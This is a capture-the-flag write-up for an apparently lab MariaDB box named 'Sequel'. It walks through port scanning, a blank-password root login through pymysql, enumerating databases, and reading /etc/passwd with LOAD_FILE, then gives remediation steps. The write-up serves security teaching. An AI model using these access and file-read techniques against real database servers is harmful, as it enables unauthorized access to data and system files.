TL;DR
Sequel (the name is a wordplay on SQL) is a Tier 1 box with a single exposed service: MariaDB 10.3.27 on port 3306. The root database user has a blank password and accepts connections from any host (root@%). Connecting with mysql -h IP -u root lands you in a fully privileged session with ALL PRIVILEGES including FILE. The flag is a row in htb.config at name='flag'. Going further, LOAD_FILE('/etc/passwd') works (FILE privilege active, no secure_file_priv restriction), exposing system user accounts. SSH is firewalled off. The lesson: a database root account with no password and internet exposure is a complete data breach.
Recon
1. Liveness check
$ ping -c 2 10.129.36.240
64 bytes from 10.129.36.240: icmp_seq=0 ttl=63 time=33.610 ms
64 bytes from 10.129.36.240: icmp_seq=1 ttl=63 time=35.029 ms
TTL=63 → Linux. Host alive and reachable.
2. Full port sweep
$ nmap -sV -sC -p- --min-rate 1000 -T4 -Pn 10.129.36.240
PORT STATE SERVICE VERSION
3306/tcp open mysql?
22/tcp filtered ssh
- 3306/tcp — MySQL/MariaDB, directly exposed
- 22/tcp — SSH is filtered (firewall dropping packets)
Only one reachable service.
3. Banner grab — identify exact version
nc -v -w 30 10.129.36.240 3306
Initial bytes from the server:
5.5.5-10.3.27-MariaDB-0+deb10u1
MariaDB 10.3.27 on Debian 10 (Buster). The 5.5.5- prefix is a MariaDB compatibility marker that makes the server appear as MySQL 5.5.5 to older clients — a quirk worth knowing.
Foothold
Dead end #1 — mysql CLI compatibility issue on macOS
mysql -h 10.129.36.240 -u root -p
The Homebrew mysql client (version 9.6) generates frequent timeouts when connecting to MariaDB 10.3. Root cause: MySQL 8.0+ clients use caching_sha2_password by default; MariaDB 10.3 uses mysql_native_password. The handshake mismatch causes instability.
Fix: Use Python’s pymysql library which handles MariaDB compatibility cleanly:
import pymysql
conn = pymysql.connect(host='10.129.36.240', user='root', password='')
cursor = conn.cursor()
Dead end #2 — SSH with database credentials
After finding the root database credentials work, tried using them for SSH:
ssh root@10.129.36.240
# Port 22 is filtered — connection never reaches the server
ssh christine@10.129.36.240
# Same — firewall drops all packets to port 22
SSH port 22 is firewalled at the network level. Database access does not translate to SSH access.
Working approach — root login with blank password
import pymysql
conn = pymysql.connect(
host='10.129.36.240',
port=3306,
user='root',
password='' # blank
)
cursor = conn.cursor()
cursor.execute("SELECT VERSION(), USER(), CURRENT_USER()")
print(cursor.fetchone())
# ('10.3.27-MariaDB-0+deb10u1', 'root@10.10.14.45', 'root@%')
root@% — root user accepting connections from any host (% wildcard), with no password. Maximum database privileges.
Privilege check
SHOW GRANTS FOR 'root'@'%';
-- GRANT ALL PRIVILEGES ON *.* TO `root`@`%` WITH GRANT OPTION
All privileges including FILE (read/write filesystem via LOAD_FILE and INTO OUTFILE).
Database enumeration
SHOW DATABASES;
-- information_schema
-- htb
-- mysql
-- performance_schema
SHOW TABLES IN htb;
-- config
-- users
SELECT * FROM htb.config;
| id | name | value |
|---|---|---|
| 1 | timeout | 60s |
| 2 | security | default |
| 5 | flag | [REDACTED] |
| 7 | authentication_method | radius |
The flag is in row 5 of htb.config.
FILE privilege exploitation
SELECT LOAD_FILE('/etc/passwd');
Returns the full /etc/passwd contents, revealing system users:
root—/bin/bashmysql—/bin/falsehtb(UID 1000) —/bin/bash
The htb user has a shell but SSH is firewalled. Write attempts to SSH key directories returned permission denied at the OS level (the MariaDB process runs as user mysql, not root).
Privilege Escalation
N/A — Starting Point Tier 1 box. The flag is a database table row, not a filesystem file. SSH access is firewalled. The mysql service account does not have write access to SSH authorized_keys files. UDF (User Defined Function) injection is blocked by the plugin directory being on a read-only filesystem mount.
What’s actually broken
- MariaDB root account with no password, accepting connections from any host (
root@%). This is the textbook “never do this” configuration. Combined with internet exposure, it is a complete database compromise: read, write, delete any database, read filesystem files (FILE privilege), potentially write files if directory permissions allow. - Database port 3306 directly reachable from the internet. MariaDB/MySQL should bind to
127.0.0.1or an internal management IP, never0.0.0.0on a public-facing server. secure_file_privnot configured. Empty@@secure_file_priv= no restriction onLOAD_FILEandINTO OUTFILE. The database can read any file themysqlOS user can access.- Flags (sensitive data) stored in a publicly exposed database. In production: customer PII, API keys, session tokens, authentication secrets.
Remediation (the boring half)
Set a root password and restrict host:
ALTER USER 'root'@'%' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
-- Delete the wildcard host entry and add a specific one
DELETE FROM mysql.user WHERE User='root' AND Host='%';
CREATE USER 'root'@'127.0.0.1' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' WITH GRANT OPTION;
FLUSH PRIVILEGES;
Bind MariaDB to localhost only in /etc/mysql/mariadb.conf.d/50-server.cnf:
bind-address = 127.0.0.1
Set secure_file_priv to restrict file operations:
secure_file_priv = /var/lib/mysql/import
Firewall:
ufw deny 3306
# If remote DBA access is needed:
ufw allow from 10.10.0.0/16 to any port 3306
Lessons learned
- MariaDB is not MySQL, but looks like it. The
5.5.5-prefix in the banner is a MariaDB quirk for old client compatibility. Modern MySQL clients may have handshake issues with older MariaDB versions —pymysqlis more compatible than the nativemysqlCLI in these cases. - Blank database password = full data access + potential filesystem read. Unlike blank OS passwords, a blank database root password immediately grants FILE privilege (LOAD_FILE/INTO OUTFILE) in addition to all data access.
SHOW GRANTS FOR CURRENT_USER()is the first thing to run after connecting. It tells you exactly what you can do: whether FILE is available, whether you can create users, and whether WITH GRANT OPTION is set.- Always check
@@secure_file_privafter getting database access. Empty = no restriction = you can attempt to read any file the DB process can access.